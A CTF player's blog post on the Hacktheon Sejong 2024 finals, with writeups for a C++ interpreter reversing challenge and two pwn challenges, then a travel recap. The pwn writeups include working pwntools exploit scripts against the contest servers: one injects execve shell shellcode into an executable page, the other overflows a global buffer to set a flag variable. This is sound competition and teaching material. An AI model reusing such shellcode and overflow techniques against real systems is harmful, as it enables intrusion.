Overview
Last week, I traveled to Sejong, South Korea with my Malaysian team Kopi Cincau (comprising of me, Kelzin, Firdaus, and Teng) to play in this year’s Hacktheon Sejong Finals (Advanced category).
We only managed to get #12 in the Advanced category, but it was a super tight ctf. The difference between us and first place were only 2 challanges. (We would’ve gotten #2 if we played in the beginner category!). It was a good experience overall, and I’m grateful for the opportunity to go there and play.
This post is going to be first writeups for some of the challenges I’ve solved/contributed in, and then its gonna be a short blog about my experience there.
All challenges and exploit scripts could be found here.
Thanks to Secure D and CyberWise for sponsoring the trip, and SherpaSec for supporting us too. Also thanks to Trailbl4z3r for helping us throughout the trip! The trip wouldn’t be possible without them.
Writeups
Interpreter 1 (rev)
This was a C++ reversing challenge that I solved together with Teng. I didn’t want to work on this challenge at first since it was C++ reversing, but then Teng had some progress on it, and it seemed like quite a few teams have solved the challenge, so I hopped on the chall. We didn’t really solve this by reversing everything, but instead using dynamic analysis.
The challenge was an expression interpreter, and could process operators like +,-,*,/
The main function consisted of a lot of functions, but eventually Teng found the function which printed the flag, and also the check function to check if we have the correct input
...
uVar7 = FUN_00103f60(local_108,local_90);
if ((uVar7 & 1) != 0) {
print_flag();
}
...
Taking a look at the check function:
// FUN_00103f60
__int64 __fastcall final_check(_QWORD *a1, _QWORD *a2) {
v4 = op_shift_right(a1);
if ( v4 == op_shift_right(a2) ) // check for expression
{
for ( i = 0LL; i < 0x14; ++i ) {
v3 = *(unsigned __int16 *)sub_4048B0(a1, i);
if ( v3 != *(unsigned __int16 *)sub_4048B0(a2, i)) {
// check two bytes at a time
v6 = 0;
return v6 & 1;
}
}
v6 = 1;
}
else
{
v6 = 0;
}
return v6 & 1;
}
__int64 __fastcall op_shift_right(_QWORD *a1){
return (__int64)(a1[1] - *a1) >> 1;
}
__int64 __fastcall sub_4048B0(_QWORD *a1, __int64 a2){
return *a1 + 2 * a2;
}
Through gdb, we realised that **a2
is always the same, and that our input could manipulate the values in **a1
, so we assumed that the aim is to make **a1 == **a2
.
0x555555557f60 (
$rdi = 0x00007fffffffe110 (a1) → 0x0000555555598820 → 0x0002800000018000, <-|-- make them same
$rsi = 0x00007fffffffe188 (a2) → 0x0000555555597ae0 → 0x0002800000038000 <-|
)
So first we have to pass the op_shift_right
check, and to analyse that we breakpointed at the comparison of v4 == op_shift_right(a2)
$rax : 0x8
$rcx : 0x14
→ 0x555555557f9a cmp rax, rcx
By playing around with different inputs and expressions, we found out that we could change the value of rax by passing in different combinations of + - * /
in the expression.
We then were able to pass this check by using the input -123+122+232*12321/12312+12312
Next up, it seems like the check function compares the bytes in a1
and a2
two bytes at a time. They check a total of 0x28 bytes. So what we did next was logically analyse what was inside a2
in the check function, and try to see how our expresssion is stored in memory.
I noticed that the bytes seem to be in 2 bytes chunks, and since the check function also check two bytes at a time, I examined the memory 2 bytes at a time
1+1 in memory
0x555555598360: 0x8000 0x0001 0x8000 0x0001 0x8010
1-1 in memory
0x555555598360: 0x8000 0x0001 0x8000 0x0001 0x8011
1*1 in memory
0x555555598360: 0x8000 0x0001 0x8000 0x0001 0x8012
1/1 in memory
0x555555598360: 0x8000 0x0001 0x8000 0x0001 0x8013
So we can see that numbers are stored in 2 bytes,
in front of every number there is a 0x8000, and that
+: 0x8010
-: 0x8011
*: 0x8012
/: 0x8013
Further analysing by chaining expressions
1+2-3*4/5 in memory
0x555555597b10: 0x8000 0x0001 0x8000 0x0002 0x8010 0x8000 0x0003 0x8000
0x555555597b20: 0x0004 0x8012 0x8000 0x0005 0x8013 0x8011
We then realised this is just an implementation of a stack machine, and that 0x8000
was just a push instruction, and 0x8011,0x8012,...
just performs an operation on the top two values on the stack.
So now that we know how the expression is saved in memory, we can look at the expression that is compared, and try to mimic that expression.
0x8000 0x0003 0x8000 0x0002 0x8000 0x0005 0x8012 0x8000 0x0004 0x8011
0x8010 0x8000 0x0007 0x8000 0x0006 0x8000 0x0003 0x8013 0x8012 0x8010
Reversing this expression using the info above, we can deduce that the final expression should be (3+((2*5)-4))+(7*(6/3))
.
simpllocator (pwn)
There is a python file which loads a library ELF file called simpllocator.so
. and allows us to interact with the functions of the library by sending json data
from socket import *
import json
import ctypes
import base64
lib = './simpllocator.so'
funcs = ctypes.cdll.LoadLibrary(lib)
print(funcs)
# void init()
init = funcs.init
# int allocate()
allocate = funcs.allocate
allocate.restype = ctypes.c_int # prob is return type
# int insert(fd, ptr, sz)
insert = funcs.insert
insert.argtypes = [ctypes.c_int, ctypes.POINTER(ctypes.c_int8), ctypes.c_int] # prob is argument type
insert.restype = ctypes.c_int
# int delete(fd)
delete = funcs.delete
delete.argtypes = [ctypes.c_int]
delete.restype = ctypes.c_int
# int mprotect(fd, flag)
mprotect = funcs.fd_mprotect
mprotect.argtypes = [ctypes.c_int, ctypes.c_int]
mprotect.restype = ctypes.c_int
# int execute(fd)
execute = funcs.execute
execute.argtypes = [ctypes.c_int]
execute.restype = ctypes.c_int
def parse_args(args):
res = list()
for arg in args:
# in json data, have to mention type also
type = arg['type']
data = arg['data']
if type == 'INT':
data = ctypes.c_int(arg['data'])
elif type == 'PTR':
decoded = base64.b64decode(arg['data'])
data = {'data' : (ctypes.c_int8 * len(decoded))(*decoded), 'len' : ctypes.c_int(len(decoded))}
else:
return None
res.append(data)
return res
init()
print("Hello! This is Simpllocator!")
while True:
argc = 0
args = None
received = input()
try:
received = json.loads(received)
callNum = received['callNum']
if received['args'] is not None:
argc = len(received['args'])
args = received['args']
if callNum == 1:
if argc != 0:
continue
print(f"fd[{allocate()}] created.") # allocate is called here
elif callNum == 2:
if argc != 2 or received['args'][0]['type'] != 'INT':
continue
c_args = parse_args(args)
if c_args is not None:
if 0 <= insert(c_args[0], c_args[1]['data'],c_args[1]['len']): # !!! the 2nd arg is just a string
print(f"Data inserted at fd[{received['args'][0]['data']}]")
elif callNum == 3:
if argc != 1 or received['args'][0]['type'] != 'INT':
continue
c_args = parse_args(args)
if 0 <= delete(c_args[0]):
print(f"fd[{received['args'][0]['data']}] was deleted.")
elif callNum == 4:
if argc != 2 or received['args'][0]['type'] != 'INT' or received['args'][1]['type'] != 'INT':
continue
c_args = parse_args(args)
if 0 <= mprotect(c_args[0], c_args[1]):
print(f"fd[{received['args'][0]['data']}] permission changed.")
elif callNum == 5:
if argc != 1 or received['args'][0]['type'] != 'INT':
continue
c_args = parse_args(args)
if 0 <= execute(c_args[0]):
print(f"fd[{received['args'][0]['data']}] was executed.")
except:
so how you interact with the functions is by sending json data like:
{
"callNum": ...,
"args": [
{ "type": "...", "data": ... },
{ "type": "...", "data": ... }
]
}
taking a look at the library functions:
int init(EVP_PKEY_CTX *ctx){
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
pagesize = sysconf(0x1e);
return 0x1040f0;
}
void allocate(void){
undefined4 *__s;
__s = (undefined4 *)malloc(pagesize);
memset(__s,0,pagesize);
*__s = 1;
createfd(__s);
return;
}
int createfd(undefined8 param_1){
int idx;
idx = 0;
while( true ) {
if (9 < idx) {
return -1;
}
if (*(fds + idx * 8) == 0) break; // fds is a global variable
idx = idx + 1;
}
*(fds + idx * 8) = param_1;
return idx;
}
undefined8 insert(uint param_1,void *param_2,uint param_3){
undefined8 uVar1;
if (*(long *)(fds + (ulong)param_1 * 8) == 0) {
uVar1 = 0xffffffff;
}
else {
if (pagesize - 4 < param_3) {
uVar1 = 0xffffffff;
}
else {
memcpy((*(fds + param_1 * 8) + 4),param_2,param_3);
uVar1 = 0;
}
}
return uVar1;
}
int fd_mprotect(int param_1,int param_2){
undefined4 *chunkPtr;
int iVar2;
chunkPtr = *(fds + (long)param_1 * 8);
if (chunkPtr == (undefined4 *)0x0) {
iVar2 = -1;
}
else {
if (param_2 == 1) {
iVar2 = mprotect((chunkPtr & -pagesize),pagesize,3);
*chunkPtr = 1;
}
else {
if (param_2 == 2) {
iVar2 = mprotect((void *)((ulong)chunkPtr & -pagesize),pagesize * 2,7);
// makes it executable?
*chunkPtr = 2;
}
else {
iVar2 = -1;
}
}
}
return iVar2;
}
undefined8 execute(int param_1,undefined8 param_2){
int *piVar1;
undefined8 uVar2;
piVar1 = *(int **)(fds + (long)param_1 * 8);
if (piVar1 == (int *)0x0) {
uVar2 = 0xffffffff;
}
else {
if (*piVar1 == 2) {
// execute shellcode starting from second byte
(*(piVar1 + 1))(param_1,param_2,piVar1 + 1);
uVar2 = 0;
}
else {
uVar2 = 0xffffffff;
}
}
return uVar2;
}
undefined8 delete(uint param_1){
int *__ptr;
undefined8 uVar1;
__ptr = *(int **)(fds + (ulong)param_1 * 8);
if (__ptr == (int *)0x0) {
uVar1 = 0xffffffff;
}
else {
if (*__ptr != 1) {
fd_mprotect(param_1,2);
}
free(__ptr);
*(undefined8 *)(fds + (ulong)param_1 * 8) = 0;
uVar1 = 0;
}
return uVar1;
}
reversing the functions is just:
alloc() allows us to allocate a page
mprotect() allows to change permissions of the page
insert() allows us to write to the page
execute() allows us to execute instructions in the page
So what we can literally do is just allocate a page, write shellcode to the page, make the page executable, and execute it. Simple as that.
We just have to send the json data correctly to invoke the calls.
I wasted a lot of time on this challenge because I understood the insert function wrongly, and thought that it takes in a ptr, and copies input from the ptr into the page. But it actually just takes in raw bytes (which is stored in the form of a string), and the bytes are just copied to the page. So yeah I overcomplicated it.
from pwn import *
import json
import base64
#io = process(["python3","simpllocator.py"],aslr=False)
io = remote(b"hto2024-finals-nlb-9fcbd7ce07567668.elb.ap-northeast-2.amazonaws.com",17935)
def alloc():
a = {"callNum": 1, "args": None}
io.sendline(json.dumps(a))
def insert(idx,payload):
a = {
"callNum": 2,
"args": [
{ "type": "INT", "data": idx },
{ "type": "PTR", "data": base64.b64encode(payload).decode()}
]
}
io.sendline(json.dumps(a))
def mprotect(idx,permission):
a = {
"callNum": 4,
"args": [
{ "type": "INT", "data": idx },
{ "type": "INT", "data": permission}
]
}
io.sendline(json.dumps(a))
def execute(idx):
a = {
"callNum": 5,
"args": [
{ "type": "INT", "data": idx },
]
}
io.sendline(json.dumps(a))
sc = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
alloc()
mprotect(0,2)
insert(0,sc)
execute(0)
io.interactive()
Dict (pwn)
The binary is just a simple dictionary / key-value store.
This is Simple Dictionary
1. Insert
2. Find
3. Exit
> 1
Key > ABAB
Value > CDCD
Insert success
There is a checkflag() function which is called every loop.
void main(void){
setup();
puts("This is Simple Dictionary");
do {
main_loop();
checkflag();
} while( true );
}
void checkflag(void){
local_10 = *(long *)(in_FS_OFFSET + 0x28);
if (DAT_00105080 == 0x31337) {
__fd = open("flag",0);
...
read(__fd,&local_58,0x40);
printf("Flag: %s\n",&local_58);
}
}
return;
}
So to get the flag, we just have to overwrite DAT_00105080
to 0x31337
.
I was guessing that the key-values were probably just stored in the global variables memory region, and we could just somehow overwrite DAT_00105080
from there.
To test this, we can just:
gef➤ search-pattern ABAB
[+] Searching 'ABAB' in memory
[+] In '/home/vagrant/ctf/hacktheon_finals24/dict/dict'(0x555555558000-0x555555559000), permission=rw-
0x555555558081 - 0x55555555808e → "ABAB\n=CDCD\n"
gef➤ x/s 0x555555558080
0x555555558080: ",ABAB\n=CDCD\n"
and the data we’re trying to overwrite is at 0x0000555555559080
.
So yeah, assuming that there is no limit for the amount of key-values we can make / the limit is large enough, we can just make 0x1000 bytes worth of key-values and then write 0x31337
.
Looking at the function that reads the key-values:
int * FUN_00101375(void){
...
printf("Key > ");
sVar3 = read(0,&local_b8,0x20);
...
printf("Value > ");
sVar3 = read(0,&local_98,0x80);
...
}
The max amount of bytes a key can have (counting newline byte) is 0x20, and the max amount of bytes a value can have is 0x80. So we just have to make around 0x1000/(0x20+0x80) ~ 25
key-values, to overwrite the global variable that is checked for flag.
It seems that commas and equal signs are added to the key-value strings, also newline bytes are stored too, so we have to include them in our bytes calculation too.
from pwn import *
#io = process("./dict")
io = remote(b"hto2024-finals-nlb-9fcbd7ce07567668.elb.ap-northeast-2.amazonaws.com",26432)
for i in range(25):
io.sendlineafter(b"> ",b"1")
io.sendlineafter(b"Key >",b"A"*(0x20-2))
io.sendlineafter(b"Value >",b"B"*(0x80-2))
io.sendlineafter(b"> ",b"1")
io.sendlineafter(b"Key >",b"A"*(0x20-2))
io.sendlineafter(b"Value >",b"B"*(0x40-3))
io.sendlineafter(b"> ",b"1")
io.sendlineafter(b"Key >",p32(0x31337))
io.sendlineafter(b"Value >",b"pwn")
#gdb.attach(io)
io.interactive()
And that’s it for the writeups!
The challenges were pretty alright. I quite liked the interpreter 1 challenge (maybe cause we managed to solve it), but the difficulty for the two pwn challs might be a bit too low. There was another pwn chall that I didn’t write about and it had 0 solves, it was a hard C++ pwn chall that required you to exploit reference counting. So the jump of difficulty from the second pwn chall to the third was really huge.
There was also no crypto challs so our crypto player were just doing forensics lol.
But overall, the quality of the challs and infra was pretty good. Nice.
Experience
One of the best things about this trip is that I got to meet a lot of my friends that I’ve made in previous events! It was really fun seeing all of them for a second time (and third time for Faze), and catching up with everyone. I also got to make some new friends through them.
going to ctf venue with team and SG friends
The hotel provided was really nice, and the organisers even provided us transport from Incheon Airport to Sejong. Everything went pretty smoothly so praise given to the organisers.
Before we went back to Malaysia, we also toured around myeongdong. We were just walking around the night streets, and we also visited a kpop store. Had quite a lot of fun.
It was pretty cool since I was just there last year when I went to Korea for codegate, and in my blog post about codegate, I wrote that I wished to go to more onsite finals. And now I’m here again because of another onsite final. So, pretty cool.
Conclusion
Thanks so much to my teammates for making this a fun experience, and thanks again to the sponsors for making this trip possible. The organisers did a great job at providing everything, and were really easy to work with. Korea was also pretty nice, the food was pretty good, and everything is very clean.
Also thanks to all the friends I’ve met again there, hope we can meet up again soon!